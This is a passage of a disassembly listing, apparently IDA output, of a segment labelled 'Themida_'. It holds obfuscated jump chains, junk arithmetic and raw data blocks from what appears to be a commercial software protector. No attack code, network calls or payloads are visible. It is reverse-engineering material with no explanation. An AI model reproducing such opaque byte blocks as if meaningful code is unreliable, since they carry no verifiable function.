		push	ebx
		mov	ebx, 380C3F40h
		add	eax, ebx
		push	dword ptr [esp]
		jmp	loc_54AA1C
; ---------------------------------------------------------------------------

loc_54EE36:				; CODE XREF: Themida_:005577C5j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_550764
; ---------------------------------------------------------------------------

loc_54EE44:				; CODE XREF: Themida_:0054352Aj
		add	bl, dh
		mov	edx, [esp]
		jmp	loc_554F1A
; ---------------------------------------------------------------------------

loc_54EE4E:				; CODE XREF: Themida_:0054561Dj
		push	5BF5h
		jmp	loc_5486E0
; ---------------------------------------------------------------------------

loc_54EE58:				; CODE XREF: Themida_:0054339Aj
		add	al, dl
		add	al, 95h
		jmp	loc_546D68
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8108EEC1h, 762ED3C6h, 14F7566Bh, 24348B24h, 0FFE601E9h
		dd 240C8BFFh, 5104C483h, 61026DB9h, 0E9C1412Ch,	0FFC18107h
		dd 81FFFFFFh, 0C9653E9h, 87C38103h, 10B9D0Eh, 87EB81CBh
		dd 0E90B9D0Eh, 0FFFFB71Eh, 24148B5Bh, 0FF477CE9h, 0DEF75EFFh
		dd 771AE94Eh
		db 2 dup(0FFh)
word_54EEBA	dw 8B66h		; DATA XREF: Themida_:0054311Co
		dd 0B4E92404h, 81FFFFC1h, 522D42F3h, 348B5326h,	4C48324h
		dd 56B8505Bh, 15E534Eh,	0E68158C6h, 55915034h, 0BFD4C681h
		dd 0C381EA7Eh, 4CD7330Fh, 0EB81F301h, 4CD7330Fh, 38AE9h
		dd 242C8B00h, 4C481h, 0E2C10000h, 8E2C106h, 5505EAC1h
		dd 513004BDh, 0E9EA3103h, 917Bh, 348BF701h, 499BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EF22:				; CODE XREF: Themida_:0054AA29j
		push	ecx
		jmp	loc_54BC9A
; ---------------------------------------------------------------------------
		dd 4245401h, 4246C81h, 5CD56A3Ah, 4246C81h, 66762E30h
		dd 0FFCA60E9h, 7420BDFFh, 0EDD15E2Eh, 6AAAE957h, 0DEF7FFFFh
		dd 7F9FEE81h, 45057123h, 2D3AF453h, 1E020DC3h, 0C305F001h
		dd 2D1E020Dh, 3AF45345h, 214E2D5Eh, 0BB532F85h,	77495254h
		dd 97BE564Bh, 18C9618h,	0D8015EF3h, 6280E9h, 4C48100h
		dd 1000000h, 4EC81C2h, 89000000h, 0E2682434h, 0E900006Eh
		dd 0FFFFA5FAh
; ---------------------------------------------------------------------------

loc_54EFA4:				; CODE XREF: Themida_:005575D3j
		push	135Ch
		mov	[esp], esi
		push	74B7245Dh
		jmp	loc_54BCFB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 15BD5504h, 815CA546h, 0C9372CCDh, 89B0E938h,	47B3FFFFh
		dd 0E901EB80h, 0FFFFDD37h
; ---------------------------------------------------------------------------

loc_54EFD4:				; CODE XREF: Themida_:0054B28Bj
		add	ebx, 0AC9E3D97h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_549D04
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 8924248Bh, 0B0502414h, 685C68E4h,	5AE90000h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EFFB:				; CODE XREF: Themida_:00545ADBj
		push	6FF5D2Ah
		pop	ecx
		add	dword ptr [esp+8], 49677563h
		add	dword ptr [esp+8], 442F5335h
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 442F5335h
		push	esi
		mov	esi, 49677563h
		sub	[esp+0Ch], esi
		pop	esi
		pop	ecx
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 6FF5D2Ah
		pop	ebp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54545A
; ---------------------------------------------------------------------------

loc_54F03F:				; CODE XREF: Themida_:0054B1D7j
		mov	[esp], ebp
		push	ebx
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	0BF7h
		mov	[esp], ebp
		mov	ebp, 4
		sub	edx, ebp
		jmp	loc_54991D
; ---------------------------------------------------------------------------
		db 5Eh,	57h, 0E9h
		dd 0FFFF8293h, 0E99CC885h, 0FFFF420Fh, 0E952F828h, 0FFFF58F7h
		dd 42474FFh, 24048F5Ah,	8924248Bh, 0DFBE2434h, 2967517Ah
		dd 2434FFF0h, 4C4835Eh,	7D0DE956h, 0B105FFFFh, 52133C36h
		dd 87653DBAh, 5AD02931h, 9DE9D801h, 100004Ch, 0A6685EF1h
		dd 0E900001Fh, 22B8h
; ---------------------------------------------------------------------------

loc_54F0D8:				; CODE XREF: Themida_:005568D3j
		add	esp, 4
		sub	edx, 0E9BC4F5Ah
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		jmp	loc_55633D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 45685704h, 0E9000016h, 193Fh, 0F3285966h
		dd 0E92434FFh, 6913h, 1C4EE8B8h, 353A2D2Dh, 924806D8h
		dd 5392DAF7h, 0CA5F02BBh, 4D5AE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F126:				; CODE XREF: Themida_:0055833Bj
		mov	ebx, 2E132DCBh
		sub	ebx, 713E08EAh
		add	ebx, 77635D04h
		dec	ebx
		not	ebx
		shr	ebx, 5
		xor	ebx, 65E3BF4h
		mov	esi, ebx
		pop	ebx
		add	ebx, 3BAA2113h
		sub	ebx, esi
		sub	ebx, 3BAA2113h
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_557CDA
; ---------------------------------------------------------------------------

loc_54F164:				; CODE XREF: Themida_:00554D91j
		sub	al, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5557F6
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 2Eh
		dd 81E63E2Bh, 0D03EAACBh, 0E7C38153h, 0E92C8624h, 0FFFF647Bh
		dd 0E924248Bh, 0FFFFA5D1h, 0E95FFA01h, 3A11h, 0B7241C89h
		dd 0FFF888BAh, 815B2434h, 4C4h,	7E0C000h, 8106E0C0h, 2ECh
		dd 14896600h, 0E9C28824h, 0FFFFF2FFh, 8B54515Ch, 0C481240Ch
		dd 4, 4C181h, 18E90000h, 59FFFFACh, 2CE9EE29h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F1DF:				; CODE XREF: Themida_:00550755j
		and	ecx, 47642515h
		jmp	loc_547026
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 8324148Bh, 0FF5304C4h, 5B042474h, 8B24048Fh,	24D32424h
		dd 41D2E924h, 14890000h, 0B2525324h, 5AD388FDh,	0DA30A1B2h
		dd 2C6A045Bh, 28B904BFh, 83B92CD0h, 1C8904ECh, 4EC8124h
		dd 0E9000000h, 0FFFFD2EBh, 1344C381h, 8FE9D4CEh, 8BFFFF5Eh
		dd 0C892424h, 0B6C9E924h, 595FFFFFh, 4EC8155h, 89000000h
		dd 0BB68241Ch, 0E92A516Ah, 0FFFFDC74h, 0E9ADC380h, 6CCFh
		dd 0CA89D129h, 27D5E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F26E:				; CODE XREF: Themida_:005552EBj
		mov	ebx, 4
		sub	eax, 7EAC605Eh
		jmp	loc_55460F
; ---------------------------------------------------------------------------
aS_7		db ']Иы*',0
		dw 8B00h
		dd 0C4832434h, 4EC8304h, 3410E9h, 0E6C15E00h, 2E6C107h
		dd 223DC681h, 0F7890DD9h, 0F4F7815Eh, 0E9648F50h, 0FFFF9C8Eh
		dd 8704ED83h, 895C242Ch, 88BA2414h, 0C104C05Eh,	0E2C103E2h
		dd 0CA814A04h, 593C06F1h, 5F2BB53h, 8E91A66h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F2D3:				; CODE XREF: Themida_:0054E376j
		pop	ebx
		add	eax, ebp
		jmp	loc_553A28
; ---------------------------------------------------------------------------
		db 1
		dd 0EC8159CAh, 4, 0B9240C89h, 4, 2A3AC281h, 0CA011126h
		dd 2378BE56h, 0CE817D7Ah, 1579218Ch, 1D1DC681h,	0CE817383h
		dd 56F81A54h, 0CEDDBA52h, 0D6011A27h, 5EF2295Ah, 0FFD892E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F31D:				; CODE XREF: Themida_:0054AB6Ej
		add	ebp, edx
		pop	edx
		xor	edx, ebp
		pop	ebp
		push	edx
		push	esi
		mov	esi, 54DE346Fh
		xor	[esp+4], esi
		jmp	loc_54A474
; ---------------------------------------------------------------------------
		db 59h
		dd 0C4E9FA01h, 68FFFFE1h, 55D0h, 0E9243C89h, 0FFFFB0F7h
; ---------------------------------------------------------------------------

loc_54F348:				; CODE XREF: Themida_:0055513Aj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_543612
; ---------------------------------------------------------------------------

loc_54F35E:				; CODE XREF: Themida_:00549E42j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 3540401Bh
		push	ebx
		push	193h
		jmp	loc_549C88
; ---------------------------------------------------------------------------
		dw 0FA87h
		dd 0FA87D7F7h, 4EC81h, 2C890000h, 0E6BE5624h, 891CEF00h
		dd 44DAE9F5h, 0E95AFFFFh, 0FFFFBFF0h
; ---------------------------------------------------------------------------

loc_54F3A8:				; CODE XREF: Themida_:0054E920j
		add	edx, 23AE097Ch
		add	edx, ecx
		jmp	loc_54549E
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 0A0E95504h, 1000036h, 0DE6857D8h, 0E9000016h, 5DBEh
		dd 77011F05h, 0ECE9503Fh, 8BFFFFBAh, 0C481242Ch, 4, 0F75BD989h
		dd 5E9C1D1h, 213EC181h,	30E96F7Bh, 80FFFF9Bh, 54E9ACF7h
		db 0AFh, 2 dup(0FFh)
byte_54F3FB	db 0ACh			; DATA XREF: Themida_:005431ECo
		dd 5366D830h, 3CC56866h, 24048966h, 0B8042BB0h,	5DB35352h
		dd 0C003EBC0h, 0EB8003EBh, 5BDE8849h, 64B45066h, 303FEC80h
		dd 38C8E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F42A:				; CODE XREF: Themida_:005450C5j
		xor	ebx, 2EC6402Ah
		push	ebx
		jmp	loc_548E0C
; ---------------------------------------------------------------------------

loc_54F436:				; CODE XREF: Themida_:00557806j
		sub	eax, 28FE00A6h
		add	eax, ecx
		add	eax, 28FE00A6h
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 53264726h
		add	eax, esi
		jmp	loc_5507A3
; ---------------------------------------------------------------------------
		dd 4EC81h, 24890000h, 0C92DE924h, 1489FFFFh, 4BA24h, 0D1010000h
		dd 0E924148Bh, 5A89h, 0A7685755h, 5F491262h, 11E9EFD1h
		dd 29FFFF4Bh, 0E27FE9EFh, 0FD01FFFFh, 47E1E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F492:				; CODE XREF: Themida_:005434CEj
		pop	dword ptr [esp]
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3608h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54FF1C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 3721358Bh, 0E958C789h, 7F5Eh, 315AD189h, 0C68159CEh
		dd 93715E08h, 3674C381h, 0F2E9580Dh
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F4DF:				; CODE XREF: Themida_:00548698j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	5CBFh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_54FE36
; ---------------------------------------------------------------------------

loc_54F505:				; CODE XREF: Themida_:00552591j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54F7BB
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575B24h, 4EC83E7h,	2955E9h
		db 0
; ---------------------------------------------------------------------------

loc_54F52D:				; CODE XREF: Themida_:00552297j
		add	edi, esi
		pop	esi
		push	292Eh
		mov	[esp], ebp
		push	eax
		push	1AB16D5h
		pop	eax
		or	eax, 7C1762CEh
		shl	eax, 3
		push	ebx
		jmp	loc_54928F
; ---------------------------------------------------------------------------
aSse		db 'SИ╔>',0
		dw 8100h
aNmfsB		db 'ф#█▄ДИ╢b',0
		align 2

loc_54F55E:				; CODE XREF: Themida_:00548BDDj
		sub	eax, edi
		pop	edi
		not	eax
		not	eax
		shr	eax, 6
		add	eax, 23CB360Dh
		sub	eax, 16C6F711h
		sub	ebp, eax
		jmp	loc_54A5F0
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 2474FF55h, 29E1E904h, 0F3810000h, 0D2CCAE3Fh, 659868h
		dd 241C8900h, 241C8B5Ah, 8104C483h, 5B7C6FEBh, 42E9507Dh
		dd 58000069h, 0EB81D301h, 43D57175h, 8124148Bh,	4C4h, 0B1E95100h
		dd 0B9000061h, 4, 3359CA29h, 14312414h,	581FE924h, 9FBF0000h
		dd 0C12D5E0Fh, 0EFC108EFh, 4E7C105h, 488068h, 24148900h
		dd 4FEAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F5ED:				; CODE XREF: Themida_:00550D3Ej
		mov	edi, 457E05ABh
		push	edx
		jmp	loc_546933
; ---------------------------------------------------------------------------
		dd 3D5DE381h, 0CB813D7Fh, 77C10BADh, 34E6BA52h,	0EAC12801h
		dd 0DAF74A05h, 7CE4BD55h, 0C581653Dh, 28326281h, 44A9F581h
		dd 0BE561CF8h, 459B25C8h, 381EE681h, 0B5E9743Fh, 68000048h
		dd 0E7Dh, 0FF240489h, 34FF2434h, 50515824h, 0FFCA99E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F649:				; CODE XREF: Themida_:00550B7Aj
		add	eax, 4
		push	ecx
		mov	ecx, 68092FE0h
		or	ecx, 31EF4BC3h
		or	ecx, 5B7F1655h
		add	ecx, 8400800Dh
		sub	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 31E633F5h
		jmp	loc_544779
; ---------------------------------------------------------------------------
		dw 0B450h
		dd 58E188F7h, 587FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54F68D:				; CODE XREF: Themida_:00556CF3j
		pop	edi
		jmp	loc_54B3DA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8951241Ch, 4C181E1h,	83000000h, 74E904C1h, 5C000015h
		dd 1C31E9h, 4C38100h, 81000000h, 4EBh, 0E3D0E900h, 0E95CFFFFh
		dd 0FFFF3BD7h, 0C104C483h, 0E6C105EEh, 0C897E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F6D2:				; CODE XREF: Themida_:00557E30j
		push	ebx
		mov	ebx, 70266B26h
		add	ebx, 4FD22A7Fh
		and	ebx, 41BE2146h
		and	ebx, 54714ABFh
		add	ebx, 76942B94h
		xor	edi, ebx
		pop	ebx
		not	edi
		sub	edi, 86F1BECFh
		jmp	loc_55106F
; ---------------------------------------------------------------------------
		dd 1972AE68h, 240C8B4Eh, 4C481h, 1EE90000h, 68FFFF93h
		dd 212Dh, 0BA241489h, 1F871813h, 535DEB81h, 58E923DDh
		dd 8100008Ch, 570C6AF6h, 0C14E4E3Bh, 0C68103EEh, 0F46470DAh
		dd 515EF301h, 0FFA7C2E9h, 4C481FFh, 80000000h, 0F2808DC2h
		dd 0A9C380A1h, 5266D328h, 92E9A9B2h
		db 10h,	2 dup(0)
byte_54F75F	db 66h			; DATA XREF: Themida_:00543210o
		dd 81240C8Bh, 4ECh, 24148900h, 5351E289h, 0A26CC68h, 0E3815B44h
		dd 7DBD36F8h, 115AEB81h, 73E94B33h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F787:				; CODE XREF: Themida_:005462D3j
		mov	edx, [esp]
		add	esp, 4
		shr	esi, 8
		jmp	loc_54626D
; ---------------------------------------------------------------------------

loc_54F798:				; CODE XREF: Themida_:005534A0j
		mov	[esp], ecx
		jmp	loc_54355A
; ---------------------------------------------------------------------------

loc_54F7A0:				; CODE XREF: Themida_:00557D6Ej
		add	esp, 4
		add	esp, 4
		push	eax
		jmp	loc_54856A
; ---------------------------------------------------------------------------

loc_54F7AF:				; CODE XREF: Themida_:005520E4j
		mov	eax, esp
		add	eax, 4
		jmp	loc_5511FD
; ---------------------------------------------------------------------------

loc_54F7BB:				; CODE XREF: Themida_:0054F519j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	esi
		mov	esi, 40267AACh
		shr	esi, 4
		neg	esi
		dec	esi
		jmp	loc_543E2C
; ---------------------------------------------------------------------------
		db 5
		dd 79462BC0h, 1560992Dh, 0A7BB5304h, 0E93AC809h, 3461h
		dd 0E9243C8Bh, 31E0h, 0E7E95E52h, 81000004h, 0C3C1FCEAh
		dd 2FB85082h, 0E90E1966h, 0FFFF5F97h, 0E9703F68h, 44815A36h
		dd 47840424h, 54011012h, 6C810424h, 47840424h, 32E91012h
		dd 0BD000084h, 333E22ADh, 0E5C1DDF7h, 0A6CD8103h, 812C7339h
		dd 0B1CB9CDh, 0BBED8118h, 17E7FFFh, 0E5E95DEEh,	83FFFF86h
		dd 8CE904C4h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F85B:				; CODE XREF: Themida_:00551CF5j
		neg	ebx
		neg	ebx
		jmp	loc_545ECD
; ---------------------------------------------------------------------------
		dd 83242489h, 0E9042404h, 0FFFFF135h, 8B59C801h, 0C481242Ch
		dd 4, 31240433h, 21E92404h, 0B7FFFFA2h,	56EF80E9h, 685BF800h
		dd 66F0h, 0B2241489h, 0F6CAFEF8h, 66C2FED2h, 0CF4BE953h
		dd 4BAFFFFh, 29903D29h,	24148BD7h, 4C481h, 0CCE90000h
		dd 66000000h, 2404AB0Fh, 0DB43E99Ch
		db 2 dup(0FFh)
word_54F8C6	dw 0AD66h		; DATA XREF: Themida_:005430F8o
		dd 53D83166h, 0FA4BB66h, 0A3E38166h, 0A1686661h, 0C89662Eh
		dd 69DAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F8E2:				; CODE XREF: Themida_:00555301j
		add	edi, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5443CD
; ---------------------------------------------------------------------------

loc_54F8ED:				; CODE XREF: Themida_:0054A6C5j
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_555C03
; ---------------------------------------------------------------------------
		db 51h
		dd 967233B9h, 0F8B85023h, 91DEC18h, 6BE4E9C1h, 0F1810000h
		dd 4D500429h, 4A6FEF81h, 0EF815755h, 7A2973CFh,	0FF49CAE9h
		dd 0CF685DFFh, 8900004Bh, 4FB9240Ch, 53653F3Bh,	188EE9h
		dd 535B6600h, 0CD2C56B3h, 0CD04D828h, 2EC835Bh,	241C8966h
		dd 7E045FB7h, 0FFF73BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F951:				; CODE XREF: Themida_:0055306Fj
		push	edx
		mov	edx, 51A1789Ch
		xor	edx, 5B8812F9h
		shr	edx, 8
		sub	edx, 7F4540C1h
		add	edx, 0EFB1454Ch
		jmp	loc_54D2EC
; ---------------------------------------------------------------------------
byte_54F971	db 0FFh, 77h, 2Ch	; DATA XREF: Themida_:005430A4o
		dd 0FF3922E9h, 2C8152FFh, 0F02E9D24h, 50E95879h, 29FFFF86h
		dd 0EE015FFEh, 693AC681h, 0E95D1114h, 0FFFFF345h, 0E9C28142h
		dd 1BD0504h, 999AE9D7h,	1489FFFFh, 61E0BA24h, 0C14255C1h
		dd 0E2C104E2h, 0FE45E905h, 0D1F7FFFFh, 0BA524141h, 1, 0C15AD101h
		dd 14E906E1h, 50000079h, 42474FFh, 0E924048Bh, 0FFFF52ABh
; ---------------------------------------------------------------------------

loc_54F9DC:				; CODE XREF: Themida_:00548342j
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	2FEDh
		jmp	loc_551BA6
; ---------------------------------------------------------------------------

loc_54F9F2:				; CODE XREF: Themida_:005566A8j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_5563DC
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 0C8B0424h,	4C48124h, 50000000h, 468h, 0A7E95800h
		dd 8BFFFFC9h, 0C481241Ch, 4, 0CD56E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FA32:				; CODE XREF: Themida_:0054EA1Dj
		sub	[esp+4], ebx
		pop	ebx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5580B5
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 7C9BE9h, 0C8B5B00h, 0E2895224h, 7FDCBE56h
		dd 0E6C10983h, 0BDACE905h, 0E952FFFFh, 39h
; ---------------------------------------------------------------------------

loc_54FA68:				; CODE XREF: Themida_:00554646j
		mov	esi, 35BCD675h
		jmp	loc_54D2D8
; ---------------------------------------------------------------------------
aAiAP		db '─К#─ц╞',0
aAipso		db 'ц─К╞И▌*',0
		align 2
		dw 0C281h
		dd 4, 3304C283h, 14312414h, 24143324h, 0FFB081E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FA99:				; CODE XREF: Themida_:00553678j
		sub	ecx, 4
		jmp	loc_550D0C
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0CAE90000h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FAAB:				; CODE XREF: Themida_:00557637j
		push	352Ch
		jmp	loc_54A4BD
; ---------------------------------------------------------------------------

loc_54FAB5:				; CODE XREF: Themida_:0054AFE2j
		xor	esi, 0D268EDFCh
		add	ecx, esi
		pop	esi
		jmp	loc_554169
; ---------------------------------------------------------------------------

loc_54FAC3:				; CODE XREF: Themida_:005449F1j
		add	esp, 4
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_553445
; ---------------------------------------------------------------------------

loc_54FAD4:				; CODE XREF: Themida_:0054ABFDj
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mul	ecx
		push	4AC3h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------

loc_54FAF4:				; CODE XREF: Themida_:00554903j
		push	34F97E4Ah
		pop	ebx
		inc	ebx
		jmp	loc_555CF2
; ---------------------------------------------------------------------------
		dd 0E950515Ah, 0FFFF5929h, 9CB7535Bh, 0D7F6D7F6h, 0FE9EC780h
		dd 0B25266C7h, 0E9D7300Eh, 0FFFFB385h
; ---------------------------------------------------------------------------

loc_54FB20:				; CODE XREF: Themida_:0054C079j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esi, 64F08CEBh
		jmp	loc_551B19
; ---------------------------------------------------------------------------
		db 68h
		dd 152970E2h, 6EBC15Bh,	5238E943h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FB4A:				; CODE XREF: Themida_:0054593Aj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		jmp	loc_54B4E5
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 0E3E95AD0h, 33FFFF6Bh, 1C31241Ch, 241C3324h,	8F24248Bh
		dd 248B2404h, 48B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_558060
; ---------------------------------------------------------------------------

loc_54FB81:				; CODE XREF: Themida_:00553303j
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_548C9F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4B951h, 0B8E90000h, 0BA00004Fh, 4, 2B26DC2Dh, 4C0E2D68h
		dd 0E7E91621h, 8100000Bh, 31087CE9h, 0D5EE8121h, 81552966h
		dd 7A115AEEh, 81CE2973h, 7A115AC6h, 221AE973h, 2C890000h
		dd 0E95D5424h, 0FFFF96ECh, 0E9241C89h, 0FFFF4199h
dword_54FBE0	dd 240C8B66h, 5E08950h,	4, 0FFE228E9h, 46856FFh, 89000065h
					; DATA XREF: Themida_:00543130o
		dd 22B9240Ch, 8977EA01h, 0EEC159CEh, 51D6F707h,	0B9h, 89F12900h
		dd 13A7E9CEh, 0E9540000h, 0FFFF3E85h, 4BDh, 8BEA0100h
		dd 71E9242Ch
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FC2B:				; CODE XREF: Themida_:0055483Fj
		mov	bl, al
		mov	eax, [esp]
		add	esp, 4
		add	bl, 0B0h
		add	bl, 0ACh
		sub	bl, 79h
		jmp	loc_551C0B
; ---------------------------------------------------------------------------

loc_54FC44:				; CODE XREF: Themida_:0054938Bj
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_54E37B
; ---------------------------------------------------------------------------
		dd 56E08950h, 76316FBEh, 0F3CE8133h, 8140E123h,	320293F6h
		dd 0EE814E42h, 31C53167h, 1A22E9h
		db 0
byte_54FC71	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00543030o
		dd 2338E9h, 62A66800h, 0C15B1105h, 0C38102EBh, 4E182180h
		dd 0F7A5C381h, 0DA89F4EBh, 0FF5CE8E9h, 4B8FFh, 0C3010000h
		dd 2C38358h, 0C6068h, 241C8900h, 42474FFh, 81241C8Bh, 4C4h
		dd 24048F00h, 0FF3B58E9h, 74FF53FFh, 0F7E90424h, 0C100003Ch
		dd 0C58305EDh, 4E5C1FFh, 33BBE9h, 24248B00h, 9C243CD3h
		dd 0FFB987E9h, 35B5E9FFh, 15AFFFFh, 74C2E9F7h, 0A8E90000h
		dd 8BFFFF35h, 0E955240Ch, 545Eh, 5724248Bh, 4BFh, 5FFB0100h
		dd 4EB81h, 1C330000h, 241C3124h, 8B241C33h, 88E92424h
		dd 5900003Bh, 8B240487h, 34FF2424h, 9D50E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FD2E:				; CODE XREF: Themida_:0055447Aj
		sub	ecx, 6C023D21h
		jmp	loc_5501BC
; ---------------------------------------------------------------------------
		db 51h,	5Bh, 59h
		dd 31D93159h, 81D931CBh, 0E8F202F1h, 0A6EE81C2h, 29435E68h
		dd 0A6C681CEh, 8B435E68h, 8956240Ch, 4C681E6h, 0E9000000h
		dd 0FFFFE1E5h
; ---------------------------------------------------------------------------

loc_54FD68:				; CODE XREF: Themida_:005531DAj
		xchg	edi, ebp
		add	ebp, 68610894h
		add	ecx, ebp
		pop	ebp
		sub	ecx, 792873E1h
		sub	ecx, 2B1B30FCh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, ecx
		pop	ecx
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_54329B
; ---------------------------------------------------------------------------
aLS		db '▀$$И',0             ; DATA XREF: Themida_:005430A8o
		dd 81FFFF35h, 0B6D527EAh, 8BD1299Eh, 0C4812414h, 4, 34FFC829h
		dd 240C8B24h, 8104C483h, 4C4h, 0B0CBE900h, 34FFFFFFh, 24148B24h
		dd 8104C483h, 4ECh, 24048900h, 405E089h, 55000000h, 4BDh
		dd 5DE80100h, 5C240487h, 4BE56h, 0F2010000h, 2BCAE9h, 4C18100h
		dd 0E9000000h, 0FFFF594Eh
; ---------------------------------------------------------------------------

loc_54FE00:				; CODE XREF: Themida_:0055392Fj
		add	esp, 4
		add	esi, 0F4B8489Dh
		and	eax, esi
		pop	esi
		or	eax, eax
		jmp	loc_544F4F
; ---------------------------------------------------------------------------
aBislb		db '│К≤l│',0
		db 1, 0D9h, 8Bh
		dd 0C481241Ch, 4, 4C181h, 0C870000h, 24248B24h,	66B0E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FE36:				; CODE XREF: Themida_:0054F500j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	edx
		push	ebx
		mov	ebx, 5E392BCEh
		add	ebx, 5B7EF2h
		sub	ebx, 5E94AABCh
		sub	edx, 45A41AB4h
		sub	edx, 71B068A9h
		sub	edx, 15516E94h
		add	edx, ebx
		jmp	loc_553C51
; ---------------------------------------------------------------------------

loc_54FE78:				; CODE XREF: Themida_:0054A179j
		xor	ebp, 2C2A616Ah
		add	ecx, 4C8C7342h
		jmp	loc_5521DA
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0A6h
		dd 0E95B4912h, 0FFFF3CDDh, 9B240CB8h, 4F6E3521h, 0C1014E41h
		dd 0FF634AE9h, 30D330FFh, 4FC280DAh, 1766E9h, 47E95400h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FEB7:				; CODE XREF: Themida_:0054D41Dj
		add	eax, ebx
		jmp	loc_54D169
; ---------------------------------------------------------------------------

loc_54FEBE:				; CODE XREF: Themida_:00555645j
		and	ebx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
